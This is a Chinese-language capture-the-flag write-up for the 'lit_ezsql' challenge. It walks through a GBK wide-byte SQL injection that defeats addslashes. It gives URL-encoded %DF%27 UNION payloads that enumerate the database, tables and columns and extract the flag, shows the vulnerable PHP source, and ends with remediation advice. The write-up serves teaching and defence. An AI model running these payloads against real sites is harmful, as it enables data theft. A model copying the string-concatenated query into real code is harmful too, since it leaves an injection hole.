【LitCTF2026】lit_ezsql
- 【LitCTF2026】lit_ezsql——GBK 宽字节 SQL 注入利用
- 一、前置基础:字符型 SQL 注入
- 二、黑盒发现查询参数
- 三、黑盒测试普通 SQL 注入
- 1. 测试数字型表达式
- 2. 测试单引号闭合
- 四、黑盒定位宽字节注入
- 1. 为什么会想到尝试宽字节
- 2. 测试宽字节单引号
- 3. 使用 UNION 作为可观察的验证条件
- 4. 宽字节注入完整字节流原理
- 五、辅助确认后端SQL语句
- 六、获取当前数据库名
- 七、枚举数据库全部数据表
- 八、枚举flag_store数据表的字段
- 九、读取最终Flag值
- 十、完整攻击链路与知识点总结
- 1. 完整攻击利用链
- 2. 漏洞代码层成因讲解
- 3. 核心知识点总结
- 十一、详细漏洞修复方案
- 1. 根除方案:使用预编译参数化查询
- 2. 修复编码漏洞:全站统一 UTF-8 编码
- 3. 废弃无效防护:删除 addslashes
- 4. 业务层白名单过滤
- 5. 数据库最小权限加固
- 6. 关闭调试信息泄露
- 7. 临时应急缓解(无法改代码时使用)
【LitCTF2026】lit_ezsql——GBK 宽字节 SQL 注入利用
一、前置基础:字符型 SQL 注入
题目页面提供了一个根据id查询数据的表单。假设后端代码类似:
sql="SELECT id,name,col2,col3,col4 FROM users WHERE id='%s'"%id如果用户输入没有经过处理,正常输入:
1会形成:
WHEREid='1'如果输入:
1' OR '1'='1'-- -则可能形成:
WHEREid='1'OR'1'='1'-- -'其中:
- 第一个单引号用于闭合原字符串;
OR '1'='1'使条件恒真;-- -注释掉后面的内容。
这种注入方式称为字符型 SQL 注入。
但是,如果后端会在单引号前添加反斜杠,例如:
' -> \'那么输入的单引号就会被当作字符串内容,普通的字符型注入会失效。
二、黑盒发现查询参数
打开目标页面后,只看到一个id输入框。首先从功能本身判断请求方式,提交1后得到:
GET /query?id=1访问:
/query?id=1返回一条用户记录:
id=1 name=alice col2=visitor col3=none col4=none再测试不存在的值:
/query?id=0页面提示没有查询结果,说明id参数确实参与了后端查询。
三、黑盒测试普通 SQL 注入
1. 测试数字型表达式
先输入不带引号的常见 Payload:
1 OR 1=1结果仍然只返回id=1的记录,没有返回所有数据。
这说明参数很可能被放进了单引号中,输入整体被当成了字符串,而不是直接拼接成数字条件。
2. 测试单引号闭合
接着测试:
1'页面仍然返回id=1的记录,没有出现预期的 SQL 报错。
再测试经典字符型注入:
1' OR '1'='1结果依旧没有出现全表数据。
继续测试带注释的形式:
1' OR 1=1-- -仍然无法得到注入结果。
此时可以得到一个重要判断:
- 参数应该是字符型 SQL 查询;
- 单引号没有直接打破原有查询;
- 后端很可能对特殊字符进行了反斜杠转义;
- 需要进一步考虑编码层面的绕过,而不是继续盲目修改
OR 1=1。
四、黑盒定位宽字节注入
1. 为什么会想到尝试宽字节
当单引号被转义成\'后,传统 Payload 会失效。对于 MySQL 类环境,常见的下一步测试方向包括:
- 编码转换;
- 宽字节注入;
- 双重 URL 编码;
- 注释和空白符变形;
- 其他转义绕过。
宽字节注入的核心思路是:让数据库把“前一个字节 + 被添加的反斜杠”识别成一个多字节字符,从而使反斜杠失去转义作用。
2. 测试宽字节单引号
对常见的 GBK 前导字节进行测试,例如:
%81%27 %A1%27 %BF%27 %DF%27其中%27是单引号。单独测试时,页面不一定会直接显示明显的错误,因此还需要将它放进可观察的 UNION 查询中验证。
3. 使用 UNION 作为可观察的验证条件
我们的目标是验证是否成功闭合SQL字符串,同时确定查询返回的列数。
构造一个查询结果为空的值-1,拼接UNION SELECT手动填充5个常量作为回显标记:
-1'UNIONSELECT1,2,3,4,5-- -直接提交这条明文语句会被后端
addslashes将单引号转义为\',注入失效。
宽字节注入需要手动在单引号前增加高位字节%DF,再对剩余特殊字符执行URL编码,最终可访问请求:
/query?id=-1%DF%27+UNION+SELECT+1%2C2%2C3%2C4%2C5--+-页面返回内容:
1 | 2 | 3 | 4 | 5该回显可以同时确认3个结论:
%DF%27成功吃掉转义反斜杠,完成字符串闭合,绕过单引号防护;UNION SELECT语句被MySQL正常解析执行;- 原始SQL查询一共返回5个字段,后续联合查询必须严格保持5列结构。
使用-1的目的:让前面原生SQLWHERE id='xxx'查询不到任何数据,页面只会展示我们可控的UNION返回值,方便观察注入结果;-- -是SQL注释符,舍弃闭合后多余的单引号与后续SQL语句。
4. 宽字节注入完整字节流原理
用户提交的URL参数解码后的原始字节:0x2D 0x31 0xDF 0x27(对应字符:-1+ 高位字节0xDF+ 单引号')
后端防护函数对单引号0x27添加转义符反斜杠0x5C,处理完成后的字节序列变为:
0xDF 0x5C 0x27 DF \ 'MySQL当前连接字符集为GBK,GBK采用双字节编码规则:
0xDF 0x5C被数据库识别为一个完整合法的GBK汉字;- 反斜杠
0x5C不再具备SQL转义功能,被合并进汉字; - 剩余独立字节
0x27(单引号)成为真正的字符串结束符。
后端原本拼接的SQL逻辑:
WHEREid='-1\' UNION SELECT ...'经过GBK解析之后,语义被篡改,成功执行联合注入:
WHEREid='-1運'UNIONSELECT1,2,3,4,5-- - '补充说明:
%DF不是随意选择的字符,测试时需要批量遍历GBK可用高字节(%81、%A1、%BF、%DF)逐个探测,最终通过UNION回显确认%DF可成功利用。在线URL编码工具无法自动生成该Payload,高位字节需要人工拼接。
五、辅助确认后端SQL语句
黑盒测试阶段尝试探测额外参数,追加debug=1:
/query?id=1&debug=1页面泄露完整执行SQL:
SELECT`id`,`name`,`col2`,`col3`,`col4`FROM`ezsql`.`users`WHEREid='1'LIMIT50提交普通单引号payload后,调试页面展示转义结果:
WHEREid='1\''日志直观证明后端开启了转义防护,单引号自动添加反斜杠。
即便不存在debug调试接口,我们也可以依靠「普通注入失败 +
%DF%27联合查询成功」的行为特征,判断宽字节注入漏洞,不需要依赖SQL泄露。
六、获取当前数据库名
确认注入可用后,修改联合查询的第二列,替换为MySQL内置函数database()读取当前库名:
原始SQL语句
-1'UNIONSELECT1,database(),3,4,5-- -完整URL编码请求(手动拼接%DF,其余字符使用RFC标准%20空格编码)
/query?id=-1%DF%27%20UNION%20SELECT%201%2Cdatabase%28%29%2C3%2C4%2C5--%20-页面回显结果:
ezsql得到当前数据库名称:ezsql
七、枚举数据库全部数据表
利用系统库information_schema.tables查询当前库内所有表名
原始SQL语句
-1'UNIONSELECT1,group_concat(table_name),3,4,5FROMinformation_schema.tablesWHEREtable_schema=database()-- -URL编码后的请求链接
/query?id=-1%DF%27%20UNION%20SELECT%201%2Cgroup_concat%28table_name%29%2C3%2C4%2C5%20FROM%20information_schema.tables%20WHERE%20table_schema%3Ddatabase%28%29--%20-返回结果:
users,flag_store筛选目标敏感表:flag_store
八、枚举flag_store数据表的字段
绕过引号过滤技巧:使用十六进制值
0x666c61675f73746f7265代替字符串'flag_store',避免再次使用单引号。
原始SQL语句
-1'UNIONSELECT1,group_concat(column_name),3,4,5FROMinformation_schema.columnsWHEREtable_schema=database()ANDtable_name=0x666c61675f73746f7265-- -URL编码请求
/query?id=-1%DF%27%20UNION%20SELECT%201%2Cgroup_concat%28column_name%29%2C3%2C4%2C5%20FROM%20information_schema.columns%20WHERE%20table_schema%3Ddatabase%28%29%20AND%20table_name%3D0x666c61675f73746f7265--%20-0x666c61675f73746f7265等价字符串:flag_store
页面返回字段:
id,flag目标字段:flag_store.flag
九、读取最终Flag值
构造Payload读取flag字段全部内容
原始SQL语句
-1'UNIONSELECT1,group_concat(flag),3,4,5FROMezsql.flag_store-- -完整可直接访问的请求地址
/query?id=-1%DF%27%20UNION%20SELECT%201%2Cgroup_concat%28flag%29%2C3%2C4%2C5%20FROM%20ezsql.flag_store--%20-页面回显flag:
flag{kkvxy7jm-kx3x-4pl-82f7-bmtcrpifthip3}十、完整攻击链路与知识点总结
1. 完整攻击利用链
1. 发现站点 /query?id= 可控GET参数,存在SQL字符串拼接查询点 2. 常规单引号 1' 注入被转义失效,初步判断存在 addslashes 防护 3. 利用 debug=1 泄露后端SQL,确认参数被单引号包裹、存在转义行为 4. 结合 MySQL+GBK 环境特征,判定存在宽字节注入漏洞 5. 测试高位字节字典,确定 %DF%27 可吃掉反斜杠成功闭合SQL 6. 构造5列UNION查询,确认字段数量、验证注入完全可用 7. 调用 database() 函数枚举当前数据库:ezsql 8. 查询 information_schema.tables 枚举所有表:users、flag_store 9. 十六进制绕过单引号,枚举 flag_store 表字段:id、flag 10. 查表获取 flag 字段内容,拿到最终 FLAG2. 漏洞代码层成因讲解
后端不安全源码逻辑(漏洞根源):
// 危险写法:直接拼接用户输入$sql="SELECT id,name,col2,col3,col4 FROM users WHERE id='$id'";程序为了防注入,使用了错误的防护方式:
$id=addslashes($_GET['id']);漏洞叠加原因:
- SQL字符串拼接:用户输入直接参与SQL语法构造,是注入根本源头。
- addslashes 防护缺陷:只会固定把
'转为\',属于字符级浅层防护。 - 数据库GBK编码:MySQL连接编码为GBK,允许两字节合成一个汉字。
- 攻击者可控高位字节:
传入%DF%27
服务端转义后变成:%DF%5C%27
MySQL(GBK) 将DF 5C解析为一个完整汉字
反斜杠被吃掉,剩下%27单引号成功闭合SQL
3. 核心知识点总结
- 字符型SQL注入:参数被单引号包裹,可控输入可破坏SQL结构。
- 宽字节注入原理:GBK双字节编码特性绕过
addslashes转义防护。 - URL编码细节:GET参数中
+与%20等效,均为空格,不影响漏洞利用。 - UNION 联合查询:必须严格匹配原查询字段数量,否则无法回显数据。
- MySQL 渗透流程:通过
information_schema系统库逐层枚举库、表、字段。 - 调试接口危害:
debug=1泄露SQL源码,极大降低攻击难度。
十一、详细漏洞修复方案
1. 根除方案:使用预编译参数化查询
危险代码
$id=$_GET['id'];$sql="SELECT * FROM users WHERE id='$id'";安全修复代码
$sql="SELECT * FROM users WHERE id=:id";$stmt=$pdo->prepare($sql);$stmt->bindParam(":id",$_GET['id']);$stmt->execute();修复原理:
预编译将「SQL语句结构」和「用户参数」完全分离,无论传入任何恶意Payload,只会被当作纯参数值,永远不会被数据库解析为SQL语句,彻底杜绝所有SQL注入(含宽字节注入)。
2. 修复编码漏洞:全站统一 UTF-8 编码
废弃项目GBK数据库连接配置:
// 移除$pdo->exec("SET NAMES GBK");// 改为$pdo->exec("SET NAMES utf8mb4");修复原理:
UTF-8 无“高低字节拼接”特性,不存在吃掉反斜杠的条件,从底层彻底废掉宽字节注入漏洞。
3. 废弃无效防护:删除 addslashes
addslashes在GBK环境完全失效,属于伪防护,必须直接删除,不能作为防御手段。
4. 业务层白名单过滤
该接口id为纯数字参数,后端强制校验:
if(!is_numeric($_GET['id'])){die("非法参数");}严格限制输入格式,杜绝编码字符、特殊符号进入后端逻辑。
5. 数据库最小权限加固
- 网站业务账号禁止访问 information_schema
- 禁止跨库查询权限
- 禁止文件导出、高权限操作
即使存在注入漏洞,攻击者也无法枚举库表、无法脱库。
6. 关闭调试信息泄露
生产环境禁用debug调试参数,关闭SQL报错详情、堆栈信息输出,防止泄露后端SQL结构,阻断黑盒测试辅助信息。
7. 临时应急缓解(无法改代码时使用)
- WAF 拦截 UNION、SELECT、information_schema、database() 等注入关键字
- 拦截
%DF、%81等异常高位GBK攻击字节 - 过滤非常规URL编码字符